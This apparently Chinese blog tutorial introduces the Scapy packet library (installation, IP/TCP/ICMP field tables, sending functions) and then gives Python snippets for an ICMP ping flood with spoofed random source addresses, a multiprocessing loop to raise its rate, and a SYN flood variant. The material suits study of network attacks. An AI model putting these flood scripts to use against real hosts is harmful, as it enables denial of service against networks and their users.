Scapy功能介绍以及DoS模拟
介绍
- 首先给出官网。
Scapy
是用Python
编写的交互式数据包处理工具。- 使用
Scapy
可以伪造或解码各种协议的数据包,在线发送它们,捕获它们,匹配请求和答复等等。
下载
- 由于是
Python
编写的,使用pip install
进行安装,这里使用清华源加速。
pip3 install scapy -i https://pypi.tuna.tsinghua.edu.cn/simple
- 直接使用
scapy
命令打开,若显示无法导入相关库,则对其中缺失的相关包进行安装。
INFO: Can't import matplotlib. Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
使用
包配置
- 使用
TCP/IP
协议构造基本数据包,这里调用了Scapy
的内置函数IP()
和TCP()
。
pkt = IP()/TCP()
注意:
IP()
一定在TCP()
之前。
IP()
参数解析
参数 | 含义 | 默认值 |
---|---|---|
version | 版本 | 4 |
ihl | 报头长度 | None |
tos | 服务类型 | 0x0 |
len | 报文总长度 | None |
id | 标识符 | 1 |
flags | 标记 | NULL |
frag | 段偏移 | 0 |
ttl | 生存周期 | 64 |
proto | 协议 | tcp |
chksum | 校验和 | None |
src | 源IP 地址 |
127.0.0.1 |
dst | 目的IP 地址 |
127.0.0.1 |
TCP()
参数解析
参数 | 含义 | 默认值 |
---|---|---|
sport | 源端口 | ftp_data |
dport | 目的端口 | http |
seq | 序号 | 0 |
ack | 确认号 | 0 |
dataofs | 数据偏移 | None |
reserved | 保留位 | 0 |
flags | 控制功能 | S |
window | 窗口大小 | 8192 |
chksum | 校验和 | None |
urgptr | 紧急指针 | 0 |
options | 选项 | [] |
- 根据需求设置数据包之后,使用
{PKT_NAME}.show()
可以查看报文信息。
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= tcp
chksum= None
src= 192.168.239.128
dst= 110.242.68.4
\options\
###[ TCP ]###
sport= ftp_data
dport= http
seq= 0
ack= 0
dataofs= None
reserved= 0
flags= S
window= 8192
chksum= None
urgptr= 0
options= []
包发送
- 使用
send()
函数发送数据包,该函数不返回响应。
>>> send(pkt)
.
Sent 1 packets.
sendp()
等加了p
的函数作用于第二层,发送的是帧。
sr()
和sr1()
发送数据包并接收响应。
>>> res, unans = sr(pkt)
Begin emission:
Finished sending 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
>>> res
<Results: TCP:1 UDP:0 ICMP:0 Other:0>
>>> unans
<Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>
sr()
和sr1()
的区别在于,sr1()
只有一个返回值(Results
)。
Ping DoS
- 使用
Ping
进行DoS
攻击时,由于Ping
使用的是ICMP
协议,下面给出ICMP()
的参数解析。
ICMP()
参数解析
参数 | 含义 | 默认值 |
---|---|---|
type | 消息类型 | echo-request |
code | 代码 | 0 |
chksum | 校验和 | None |
id | 标识 | 0x0 |
seq | 序号 | 0x0 |
Ping
攻击报文的设置比较简单,通过随机配置ICMP()
也能实现Ping DoS
的攻击效果。- 结合
IP()
设置目标主机IP
。
#判断是否随机源
if random_source ==True:
#随机构造IP
source_ip = Random_IP()
ip_proto = IP(src = source_ip,
dst = host,
ttl = 1,
id = id_ip)
else:
ip_proto = IP(dst = host,
ttl = 1,
id = id_ip)
#id_ping和seq_ping均为随机配置
icmp_proto = ICMP(id = id_ping,
seq = seq_ping)
#设置数据内容
data = b'ping dos'
pkt = ip_proto / icmp_proto / data *100
send(pkt)
- 在这基础上,要想达到效果,我们需要增加攻击报文的量。
- 通过循环重复攻击之外,我们采用多进程并发的方式增大攻击频率。
#processes设置太高会影响本机运作,太低起不到干扰效果
def ping_concurrent(host, processes=5, random_source=True):
#创建进程池
pool = multiprocessing.Pool(processes=processes)
while True:
try:
#选择进程的任务和参数
pool.apply_async(ping_times, (host, random_source))
except KeyboardInterrupt:
pool.terminate()
SYN_Flood
- 多进程和重复次数的性质和
Ping DoS
一致,这里主要的区别在于把ICMP
协议换成了TCP
协议。
# Randomly generate source port
src_port = randint(1,65535)
tcp_proto = TCP(sport = src_port,
dport = port,
flags = "S")
pkt = ip_proto / tcp_proto
- 其中
flags
变量表示了TCP
三次握手的不同状态,S
表示SYN
。